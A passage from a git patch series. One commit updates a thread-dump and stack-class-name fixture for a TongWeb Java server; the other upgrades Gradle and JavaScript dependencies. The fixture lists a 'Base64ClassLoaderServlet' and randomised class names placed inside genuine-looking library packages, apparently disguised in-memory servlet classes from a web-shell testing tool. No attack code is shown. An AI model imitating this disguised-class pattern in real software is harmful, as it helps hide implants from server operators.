java.lang.ref.Reference.tryHandlePending(Reference.java:191) - at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) - -"TW-Server-Thread-2" #20 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-Server-Thread-3" #21 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -651,31 +707,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"main" #1 [TIMED_WAITING] - java.lang.Thread.State: TIMED_WAITING - at java.lang.Thread.sleep(Native Method) - at com.tongweb.server.core.StandardServer.await(StandardServer.java:510) - at com.tongweb.main.TongWeb.await(TongWeb.java:466) - at com.tongweb.main.TongWeb.start(TongWeb.java:430) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at com.tongweb.main.TongWebMain.main(Unknown Source) - -"TW-Server-Scheduled-1" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"TW-0.0.0.0-9060-1" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b +"TW-0.0.0.0-8080-6" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -689,7 +721,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-7" #25 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-Server-Thread-8" #26 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -701,31 +733,46 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-9" #27 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"TW-0.0.0.0-9060-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Thread-8" #26 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5 +"main" #1 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.server.core.StandardServer.await(StandardServer.java:510) + at com.tongweb.main.TongWeb.await(TongWeb.java:466) + at com.tongweb.main.TongWeb.start(TongWeb.java:430) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.main.TongWebMain.main(Unknown Source) + +"TW-periodic-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-3" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-0.0.0.0-9060-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -739,19 +786,7 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Scheduled-3" #100 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 - java.lang.Thread.State: TIMED_WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"TW-Server-Scheduled-4" #101 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 +"TW-Server-Scheduled-1" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -763,19 +798,7 @@ ThreadStacks: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) at java.lang.Thread.run(Thread.java:750) -"TW-Console-Thread-1" #93 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@63229dac - java.lang.Thread.State: WAITING - at sun.misc.Unsafe.park(Native Method) - at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) - at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) - at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) - at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) - at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) - at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at java.lang.Thread.run(Thread.java:750) - -"TW-periodic-8" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5 +"TW-periodic-9" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) @@ -788,27 +811,25 @@ ThreadStacks: at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-0.0.0.0-8088-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44 +"TW-Server-Scheduled-5" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@681ee5c9 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) - at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) - at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47) at java.lang.Thread.run(Thread.java:750) -"TW-Server-Scheduled-6" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7ad47d87 +"TW-Server-Thread-7" #25 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36 java.lang.Thread.State: WAITING at sun.misc.Unsafe.park(Native Method) at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) - at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) - at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924) at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) @@ -820,6 +841,8 @@ ThreadStacks: StackClassNames: Base64ClassLoaderServlet EmptyFilter +ServletNameTestFilter +UrlMappingTestFilter com.tongweb.coyote.AbstractProcessorLight com.tongweb.coyote.AbstractProtocol$ConnectionHandler com.tongweb.coyote.http11.Http11Processor @@ -848,4 +871,4 @@ com.tongweb.web.util.net.SocketProcessorBase com.tongweb.web.util.threads.TaskQueue com.tongweb.web.util.threads.TaskThread$WrappingRunnable com.tongweb.web.websocket.server.WsFilter -org.apache.commons.lang.wYwFB.ErrorHandler +org.apache.http.client.XrRHt.ErrorCwgltHandler From b6af5992e61f84a0741b9ea6cc491a194a941d4c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 20:36:32 +0800 Subject: [PATCH 6/9] chore: upgrade deps --- gradle/libs.versions.toml | 20 +-- web/bun.lock | 273 +++++++++++++++++++------------------- web/package.json | 53 ++++---- 3 files changed, 176 insertions(+), 170 deletions(-) diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 437b9017..9ac7cddf 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -1,5 +1,5 @@ [versions] -asm = "9.9.1" +asm = "9.10" # https://mvnrepository.com/artifact/org.ow2.asm/asm jna = "5.13.0" # 为适配 JDK6+ 这个不可修改 bcel = "5.2" javax-servlet-api = "3.0.1" @@ -15,21 +15,21 @@ alibaba-dubbo = "2.6.12" apache-dubbo = "2.7.6" tomcat = "8.5.85" -byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy -commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io +byte-buddy = "1.18.8" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy +commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec +commons-codec = "1.22.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp -fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 +fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket mockito = "5.21.0" hamcrest = "3.0" -junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter +junit-jupiter = "5.14.4" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter junit-pioneer = "2.3.0" -junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher -testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers +junit-platform = "1.14.4" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher +testcontainers = "2.0.5" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers [libraries] alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" } @@ -74,5 +74,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"] testcontainers = ["testcontainers", "testcontainers-junit-jupiter"] [plugins] -lombok = { id = "io.freefair.lombok", version = "9.2.0" } -shadow = { id = "com.gradleup.shadow", version = "9.3.1" } \ No newline at end of file +lombok = { id = "io.freefair.lombok", version = "9.5.0" } # https://plugins.gradle.org/plugin/io.freefair.lombok +shadow = { id = "com.gradleup.shadow", version = "9.4.1" } # https://plugins.gradle.org/plugin/com.gradleup.shadow \ No newline at end of file diff --git a/web/bun.lock b/web/bun.lock index 74647898..78355f2d 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -5,52 +5,53 @@ "": { "name": "fumadocs", "dependencies": { - "@base-ui/react": "^1.4.1", - "@hookform/resolvers": "^5.2.2", + "@base-ui/react": "^1.5.0", + "@hookform/resolvers": "^5.4.0", "@orama/orama": "^3.1.18", "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", - "@react-router/node": "^7.14.2", - "@tanstack/react-query": "^5.100.5", + "@react-router/node": "^7.15.1", + "@tanstack/react-query": "^5.100.14", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.38.0", - "fumadocs-core": "^16.8.4", - "fumadocs-mdx": "14.3.1", - "fumadocs-ui": "16.8.4", - "i18next": "^26.0.8", - "isbot": "^5.1.39", - "lucide-react": "^1.11.0", - "motion": "^12.38.0", - "react": "^19.2.5", + "framer-motion": "^12.40.0", + "fumadocs-core": "^16.9.1", + "fumadocs-mdx": "15.0.8", + "fumadocs-ui": "16.9.1", + "i18next": "^26.2.0", + "isbot": "^5.1.40", + "lucide-react": "^1.16.0", + "motion": "^12.40.0", + "react": "^19.2.6", "react-copy-to-clipboard": "^5.1.1", - "react-dom": "^19.2.5", - "react-hook-form": "^7.74.0", - "react-i18next": "^17.0.4", - "react-medium-image-zoom": "^5.4.3", + "react-dom": "^19.2.6", + "react-hook-form": "^7.76.1", + "react-i18next": "^17.0.8", + "react-medium-image-zoom": "^5.4.5", "react-syntax-highlighter": "^16.1.1", "sonner": "^2.0.7", - "tailwind-merge": "^3.5.0", + "tailwind-merge": "^3.6.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1", }, "devDependencies": { - "@react-router/dev": "^7.14.2", - "@tailwindcss/vite": "^4.2.4", + "@react-router/dev": "^7.15.1", + "@tailwindcss/vite": "^4.3.0", "@types/mdx": "^2.0.13", - "@types/node": "^25.6.0", - "@types/react": "^19.2.14", + "@types/node": "^25.9.1", + "@types/react": "^19.2.15", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "oxfmt": "^0.46.0", - "oxlint": "^1.61.0", + "baseline-browser-mapping": "^2.10.32", + "oxfmt": "^0.51.0", + "oxlint": "^1.66.0", "react-router-devtools": "^6.2.0", "rimraf": "^6.1.3", "serve": "^14.2.6", - "tailwindcss": "^4.2.4", + "tailwindcss": "^4.3.0", "typescript": "^6.0.3", - "vite": "^8.0.10", + "vite": "^8.0.14", "vite-plugin-devtools-json": "^1.0.0", "vite-tsconfig-paths": "^6.1.1", }, @@ -115,9 +116,9 @@ "@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], - "@base-ui/react": ["@base-ui/react@1.4.1", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.2.8", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-Ab5/LIhcmL8BQcsBUYiOfkSDRdLpvgUBzMK30cu684JPcLclYlztharvCZyNNgzJtbAiREzI9q0pI5erHCMgCw=="], + "@base-ui/react": ["@base-ui/react@1.5.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.2.9", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-z1gSAlced1yY+iM+mHDEtIkD8UI3Ebs52MuBPxvV6f5hRutk+xvCH/wuB7hDqDzK9JG5FoMz5nhrqtSs1wjt1A=="], - "@base-ui/utils": ["@base-ui/utils@0.2.8", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-jvOi+c+ftGlGotNcKnzPVg2IhCaDTB6/6R3JeqdjdXktuAJi3wKH9T7+svuaKh1mmfVU11UWzUZVH74JDfi/wQ=="], + "@base-ui/utils": ["@base-ui/utils@0.2.9", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@floating-ui/utils": "^0.2.11", "reselect": "^5.1.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@types/react": "^17 || ^18 || ^19", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@types/react"] }, "sha512-x/PDDCYzoqPpjrdyb3VcyylTI2IjUXEtYDGi5foh7KsnmNJIIaVwA2GLgDH1dps1GgXiJbA60hM+AyuTfQzIvw=="], "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.11", "", { "os": "darwin", "cpu": "arm64" }, "sha512-/uXXkBcPKVQY7rc9Ys2CrlirBJYbpESEDme7RKiBD6MmqR2w3j0+ZZXRIL2xiaNPsIMMNhP1YnA+jRRxoOAFrA=="], @@ -191,7 +192,7 @@ "@fumadocs/tailwind": ["@fumadocs/tailwind@0.0.5", "", { "peerDependencies": { "@tailwindcss/oxide": "^4.0.0", "tailwindcss": "^4.0.0" }, "optionalPeers": ["@tailwindcss/oxide", "tailwindcss"] }, "sha512-ENKPWUDRmriccsrUDE4bDBq3FNr/ms3BP2rWlsAEMV1yP23pcCaan+ceGfeBUsAQjw7sj9Q3R4Kl3g/TCStPzQ=="], - "@hookform/resolvers": ["@hookform/resolvers@5.2.2", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA=="], + "@hookform/resolvers": ["@hookform/resolvers@5.4.0", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-EIsqr/t/qbinPIhGjMdtvutIN1Kk4uwbROE9/UQ93CAVGR7GkA7Y92+fX80OzXi/OB67jVFYwKGO1WzkxmkFZw=="], "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], @@ -215,83 +216,83 @@ "@orama/tokenizers": ["@orama/tokenizers@3.1.18", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="], - "@oxc-project/types": ["@oxc-project/types@0.127.0", "", {}, "sha512-aIYXQBo4lCbO4z0R3FHeucQHpF46l2LbMdxRvqvuRuW2OxdnSkcng5B8+K12spgLDj93rtN3+J2Vac/TIO+ciQ=="], + "@oxc-project/types": ["@oxc-project/types@0.132.0", "", {}, "sha512-FESMOxil5Se014ui/Eq8fT5uHJo6nIRwH0PfJrZJXs6Gek3ZVFOrpUv3YIZT20m+extU98Hg1Ym72U58rlsxUQ=="], - "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.46.0", "", { "os": "android", "cpu": "arm" }, "sha512-b1doV4WRcJU+BESSlCvCjV+5CEr/T6h0frArAdV26Nir+gGNFNaylvDiiMPfF1pxeV0txZEs38ojzJaxBYg+ng=="], + "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.51.0", "", { "os": "android", "cpu": "arm" }, "sha512-Ni0sCqg5CIHaLIYFGj+ncbcumylvNC6FE4rfD0KfdmnWHbPJ+zev0qZCXKxy2hFVa0fYRK0yPzf5nzPbkZou7g=="], - "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.46.0", "", { "os": "android", "cpu": "arm64" }, "sha512-v6+HhjsoV3GO0u2u9jLSAZrvWfTraDxKofUIQ7/ktS7tzS+epVsxdHmeM+XxuNcAY/nWxxU1Sg4JcGTNRXraBA=="], + "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.51.0", "", { "os": "android", "cpu": "arm64" }, "sha512-eu5lAZjuo0KAkp+M24EhDqfOwA8owQ8d7wyBlOUUGRbDLHpU3IRlDHp8Dif+YqGlxs6jra7yS6WQu/NkPhAxeg=="], - "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.46.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-3eeooJGrqGIlI5MyryDZsAcKXSmKIgAD4yYtfRrRJzXZ0UTFZtiSveIur56YPrGMYZwT4XyVhHsMqrNwr1XeFA=="], + "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.51.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-6LsUNIdURhhcIfIn8+xsOb61mSTa9msAHTeSGx9Jf4rsP/gN8PGCF+SKWPAQZbND2w/WBkqQ6303jqEEIXzMdQ=="], - "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.46.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-QG8BDM0CXWbu84k2SKmCqfEddPQPFiBicwtYnLqHRWZZl57HbtOLRMac/KTq2NO4AEc4ICCBpFxJIV9zcqYfkQ=="], + "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.51.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-9aUMGmVxdHjYMsEAW1tNRoieTJXlVNDFkRvIR1J7LttJXWjVYCu2ekclLij2KJtxBxSQOYSHd12ME/adVGVbZg=="], - "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.46.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-9DdCqS/n2ncu/Chazvt3cpgAjAmIGQDz7hFKSrNItMApyV/Ja9mz3hD4JakIE3nS8PW9smEbPWnb389QLBY4nw=="], + "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.51.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-mkY1nhZTqYb+NHaAWxOCKISN6FwdrwMNsu17vTUA3wzUV2VJ+Paq15ZokRcsMU/2PUdHO73prxyeJpjXQ3MPpQ=="], - "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.46.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Dgs7VeE2jT0LHMhw6tPEt0xQYe54kBqHEovmWsv4FVQlegCOvlIJNx0S8n4vj8WUtpT+Z6BD2HhKJPLglLxvZg=="], + "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.51.0", "", { "os": "linux", "cpu": "arm" }, "sha512-wtFwNwE4+YCNuPaWoGDZeGsKvD6D1YSUNBJNn/rJBh7CrDBThFE+TBI5kY7vRW9rIOQRsbW2IpyyL3Du4Zqwiw=="], - "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.46.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Zxn3adhTH13JKnU4xXJj8FeEfF680XjXh3gSShKl57HCMBRde2tUJTgogV/1MSHA80PJEVrDa7r66TLVq3Ia7Q=="], + "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.51.0", "", { "os": "linux", "cpu": "arm" }, "sha512-rnOaNx86G7iRKM6lsCIQMux0SMGNC/TEbFR+r7lpruJ12bnrIWgxd5w1PLqOvgR9r8ZJbpK/zfRKctJnh8/Jfg=="], - "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.46.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-+TWipjrgVM8D7aIdDD0tlr3teLTTvQTn7QTE5BpT10H1Fj82gfdn9X6nn2sDgx/MepuSCfSnzFNJq2paLL0OiA=="], + "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.51.0", "", { "os": 